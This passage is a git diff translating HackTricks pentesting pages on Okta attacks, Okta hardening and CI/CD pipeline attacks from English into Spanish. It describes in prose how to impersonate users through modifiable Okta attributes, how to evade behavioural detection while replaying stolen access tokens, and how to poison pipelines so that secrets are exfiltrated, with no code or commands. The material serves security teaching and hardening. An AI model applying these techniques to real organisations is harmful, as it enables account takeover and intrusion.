that the user can **modify**, he will be able to **impersonate other users in that platform**. +Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID en un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía, por ejemplo, en **`primaryEmail`**, podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones serán comprometidas.\ +Por lo tanto, la aplicación debería tener este campo habilitado si existe:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +También he visto otras aplicaciones que eran vulnerables pero no tenían ese campo en la configuración de Okta (al final, diferentes aplicaciones están configuradas de manera diferente). -The best way to find out if you could impersonate anyone on each app would be to try it! +¡La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería intentarlo! ## Evading behavioural detection policies -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Las políticas de detección de comportamiento en Okta pueden ser desconocidas hasta que se encuentren, pero **eludirlas** se puede lograr **dirigiéndose directamente a las aplicaciones de Okta**, evitando el panel de control principal de Okta. Con un **token de acceso de Okta**, reproduce el token en la **URL específica de la aplicación de Okta** en lugar de la página de inicio de sesión principal. -Key recommendations include: +Las recomendaciones clave incluyen: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Evitar usar** proxies de anonimato populares y servicios VPN al reproducir tokens de acceso capturados. +- Asegurarse de que haya **cadenas de agente de usuario consistentes** entre el cliente y los tokens de acceso reproducidos. +- **Abstenerse de reproducir** tokens de diferentes usuarios desde la misma dirección IP. +- Tener cuidado al reproducir tokens contra el panel de control de Okta. +- Si conoces las direcciones IP de la empresa víctima, **restringe el tráfico** a esas IPs o su rango, bloqueando todo el tráfico restante. ## Okta Hardening -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo revisarlas para que sean lo más seguras posible: {{#ref}} okta-hardening.md @@ -112,7 +112,3 @@ okta-hardening.md - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..3b9e3c9f0 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +Desde la perspectiva de un atacante, esto es muy interesante ya que podrás ver **todos los usuarios registrados**, sus **direcciones de correo electrónico**, los **grupos** de los que forman parte, **perfiles** e incluso **dispositivos** (móviles junto con sus sistemas operativos). -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Para una revisión de caja blanca, verifica que no haya varias "**Acciones de usuario pendientes**" y "**Restablecimiento de contraseña**". ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Aquí es donde encuentras todos los grupos creados en Okta. Es interesante entender los diferentes grupos (conjunto de **permisos**) que podrían ser otorgados a los **usuarios**.\ +Es posible ver las **personas incluidas dentro de los grupos** y las **aplicaciones asignadas** a cada grupo. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Por supuesto, cualquier grupo con el nombre de **admin** es interesante, especialmente el grupo **Administradores Globales**, verifica los miembros para aprender quiénes son los miembros más privilegiados. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +Desde una revisión de caja blanca, **no debería haber más de 5 administradores globales** (mejor si solo hay 2 o 3). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Encuentra aquí una **lista de todos los dispositivos** de todos los usuarios. También puedes ver si está siendo **gestionado activamente** o no. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Aquí es posible observar cómo se comparte información clave como nombres, apellidos, correos electrónicos, nombres de usuario... entre Okta y otras aplicaciones. Esto es interesante porque si un usuario puede **modificar en Okta un campo** (como su nombre o correo electrónico) que luego es utilizado por una **aplicación externa** para **identificar** al usuario, un interno podría intentar **tomar el control de otras cuentas**. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Además, en el perfil **`Usuario (predeterminado)`** de Okta puedes ver **qué campos** tiene cada **usuario** y cuáles son **escribibles** por los usuarios. Si no puedes ver el panel de administración, simplemente ve a **actualizar la información de tu perfil** y verás qué campos puedes actualizar (ten en cuenta que para actualizar una dirección de correo electrónico necesitarás verificarla). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Los directorios te permiten importar personas de fuentes existentes. Supongo que aquí verás los usuarios importados de otros directorios. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +No lo he visto, pero supongo que esto es interesante para averiguar **otros directorios que Okta está utilizando para importar usuarios** así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una única aplicación o directorio a la vez. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +No lo he visto, así que cualquier información sobre seguridad y hacking respecto a esta opción es apreciada. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Verifica en la pestaña **Dominios** de esta sección las direcciones de correo electrónico utilizadas para enviar correos y el dominio personalizado dentro de Okta de la empresa (que probablemente ya conoces). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Además, en la pestaña **Configuración**, si eres administrador, puedes "**Usar una página de cierre de sesión personalizada**" y establecer una URL personalizada. ### SMS -Nothing interesting here. +Nada interesante aquí. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Aquí puedes encontrar aplicaciones configuradas, pero veremos los detalles de esas más adelante en una sección diferente. ### Other -Interesting setting, but nothing super interesting from a security point of view. +Configuración interesante, pero nada super interesante desde el punto de vista de la seguridad. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Aquí puedes encontrar todas las **aplicaciones configuradas** y sus detalles: Quién tiene acceso a ellas, cómo está configurado (SAML, OpenID), URL para iniciar sesión, los mapeos entre Okta y la aplicación... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +En la pestaña **`Iniciar sesión`** también hay un campo llamado **`Revelar contraseña`** que permitiría a un usuario **revelar su contraseña** al revisar la configuración de la aplicación. Para revisar la configuración de una aplicación desde el Panel de Usuario, haz clic en los 3 puntos:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +Y podrías ver algunos detalles más sobre la aplicación (como la función de revelar contraseña, si está habilitada):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar periódicamente el acceso de tus usuarios a los recursos y aprobar o revocar el acceso automáticamente cuando sea necesario. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es una buena característica. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **Correos electrónicos de notificación de seguridad**: Todos deberían estar habilitados. +- **Integración de CAPTCHA**: Se recomienda establecer al menos el reCaptcha invisible. +- **Seguridad de la organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien). +- **Prevención de enumeración de usuarios**: Ambos deberían estar habilitados. +- Ten en cuenta que la Prevención de Enumeración de Usuarios no tiene efecto si se permite alguna de las siguientes condiciones (Consulta [Gestión de usuarios](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para más información): +- Registro de autoservicio. +- Flujos JIT con autenticación por correo electrónico. +- **Configuraciones de Okta ThreatInsight**: Registrar y hacer cumplir la seguridad según el nivel de amenaza. ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Aquí es posible encontrar configuraciones **correctas** y **peligrosas**. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Aquí puedes encontrar todos los métodos de autenticación que un usuario podría usar: Contraseña, teléfono, correo electrónico, código, WebAuthn... Al hacer clic en el autenticador de Contraseña puedes ver la **política de contraseñas**. Verifica que sea fuerte. -In the **Enrollment** tab you can see how the ones that are required or optinal: +En la pestaña **Inscripción** puedes ver cuáles son requeridos u opcionales:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +Se recomienda deshabilitar el teléfono. Los más fuertes son probablemente una combinación de contraseña, correo electrónico y WebAuthn. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Cada aplicación tiene una política de autenticación. La política de autenticación verifica que los usuarios que intentan iniciar sesión en la aplicación cumplan con condiciones específicas y hace cumplir los requisitos de factores basados en esas condiciones. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Aquí puedes encontrar los **requisitos para acceder a cada aplicación**. Se recomienda solicitar al menos una contraseña y otro método para cada aplicación. Pero si como atacante encuentras algo más débil, podrías ser capaz de atacarlo. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Por ejemplo:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +Se recomienda solicitar MFA, limitar la duración de la sesión a algunas horas, no persistir las cookies de sesión a través de extensiones de navegador y limitar la ubicación y el Proveedor de Identidad (si esto es posible). Por ejemplo, si cada usuario debería iniciar sesión desde un país, podrías permitir solo esta ubicación. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Los Proveedores de Identidad (IdPs) son servicios que **gestionan cuentas de usuario**. Agregar IdPs en Okta permite a tus usuarios finales **autoregistrarse** con tus aplicaciones personalizadas autenticándose primero con una cuenta social o una tarjeta inteligente. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +En la página de Proveedores de Identidad, puedes agregar inicios de sesión sociales (IdPs) y configurar Okta como proveedor de servicios (SP) agregando SAML entrante. Después de haber agregado IdPs, puedes configurar reglas de enrutamiento para dirigir a los usuarios a un IdP según el contexto, como la ubicación del usuario, el dispositivo o el dominio de correo electrónico. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Si algún proveedor de identidad está configurado** desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +La autenticación delegada permite a los usuarios iniciar sesión en Okta ingresando credenciales para el **Active Directory (AD) o LDAP** de su organización. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Nuevamente, revisa esto, ya que un atacante que comprometa el AD de una organización podría ser capaz de pivotar hacia Okta gracias a esta configuración. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Una zona de red es un límite configurable que puedes usar para **otorgar o restringir el acceso a computadoras y dispositivos** en tu organización según la **dirección IP** que está solicitando acceso. Puedes definir una zona de red especificando una o más direcciones IP individuales, rangos de direcciones IP o ubicaciones geográficas. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Después de definir una o más zonas de red, puedes **usarlas en Políticas de Sesión Global**, **políticas de autenticación**, notificaciones de VPN y **reglas de enrutamiento**. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +Desde la perspectiva de un atacante, es interesante saber qué IPs están permitidas (y verificar si alguna **IP tiene más privilegios** que otras). Desde la perspectiva de un atacante, si los usuarios deberían estar accediendo desde una dirección IP o región específica, verifica que esta función se esté utilizando correctamente. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Gestión de Puntos Finales**: La gestión de puntos finales es una condición que se puede aplicar en una política de autenticación para garantizar que los dispositivos gestionados tengan acceso a una aplicación. +- No he visto esto utilizado aún. TODO +- **Servicios de notificación**: No he visto esto utilizado aún. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +Los **Orígenes de Confianza** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +No debería haber muchos tokens de API, ya que si los hay, un atacante podría intentar acceder a ellos y usarlos. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +Las automatizaciones te permiten crear acciones automatizadas que se ejecutan en función de un conjunto de condiciones de activación que ocurren durante el ciclo de vida de los usuarios finales. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta". ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Descarga registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como inicio de sesión en Okta o en aplicaciones a través de Okta. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +Esto puede **importar registros de otras plataformas** accedidas con Okta. ### Rate limits -Check the API rate limits reached. +Verifica los límites de tasa de la API alcanzados. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Aquí puedes encontrar **información genérica** sobre el entorno de Okta, como el nombre de la empresa, dirección, **correo electrónico de contacto de facturación**, **correo electrónico de contacto técnico** y también quién debería recibir actualizaciones de Okta y qué tipo de actualizaciones de Okta. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Aquí puedes descargar agentes de Okta para sincronizar Okta con otras tecnologías. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..edbcfba1b 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS significa **Sistema de Control de Versiones**, estos sistemas permiten a los desarrolladores **gestionar su código fuente**. El más común es **git** y generalmente encontrarás empresas usándolo en una de las siguientes **plataformas**: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Proveedores de nube (ofrecen sus propias plataformas VCS) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +Las pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +Sin embargo, estos sistemas necesitan ser **ejecutados en algún lugar** y generalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo analizaremos los posibles ataques al control del código fuente. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Las plataformas que contienen el código fuente de tu proyecto contienen información sensible y las personas deben tener mucho cuidado con los permisos otorgados dentro de esta plataforma. Estos son algunos problemas comunes en las plataformas VCS que un atacante podría abusar: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. +- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**. +- **Register**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta. +- **SSO**: Algunas plataformas no permitirán a los usuarios registrarse, pero permitirán a cualquiera acceder con un SSO válido (por lo que un atacante podría usar su cuenta de github para entrar, por ejemplo). +- **Credentials**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo. +- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secretos no visibles, un **atacante podría abusar de ellos**. +- Si no hay secreto en su lugar, el atacante podría abusar del webhook de la plataforma de terceros. +- Si el secreto está en la URL, lo mismo sucede y el atacante también tiene el secreto. +- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente: +- Comprometer la rama principal para **comprometer la producción**. +- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repo en sus máquinas). +- **Comprometer la pipeline** (ver la siguiente sección). ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +La forma más común de definir una pipeline es utilizando un **archivo de configuración de CI alojado en el repositorio** que la pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\ +Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo de la pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama), y **ejecuta los comandos especificados en el archivo de configuración de CI** contra ese código. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Por lo tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**. ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +El camino de la Ejecución de Pipeline Envenenada (PPE) explota permisos en un repositorio SCM para manipular una pipeline de CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración de CI u otros archivos utilizados por el trabajo de la pipeline para incluir comandos maliciosos. Esto "envenena" la pipeline de CI, llevando a la ejecución de estos comandos maliciosos. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita ser capaz de: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente las pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso). +- Ten en cuenta que a veces un **PR externo cuenta como "acceso de escritura"**. +- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración de CI u otros archivos de los que depende la configuración**. +- Para esto, podría necesitar ser capaz de **eludir las protecciones de rama**. -There are 3 PPE flavours: +Hay 3 sabores de PPE: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración de CI** que va a ser ejecutado. +- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración de CI que va a ser ejecutado **depende** (como un archivo make o una configuración de terraform). +- **Public PPE o 3PE**: En algunos casos, las pipelines pueden ser **activadas por usuarios que no tienen acceso de escritura en el repo** (y que podrían no ser parte de la organización) porque pueden enviar un PR. +- **3PE Command Injection**: Generalmente, las pipelines de CI/CD **configurarán variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **utilizado** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**. ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Conociendo los 3 sabores para envenenar una pipeline, veamos qué podría obtener un atacante después de una explotación exitosa: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Secrets**: Como se mencionó anteriormente, las pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible. +- Dependiendo de la plataforma de la pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la pipeline de configuración de CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene esa pipeline**. +- **Computation**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más. +- **On-Premises**: Si las pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**. +- **Cloud**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**. +- **Platforms machine**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**. +- **Select it:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración de CI** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más. +- **Compromise production**: Si estás dentro de la pipeline y la versión final se construye y despliega desde ella, podrías **comprometer el código que va a terminar ejecutándose en producción**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu cadena de suministro de software para cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain 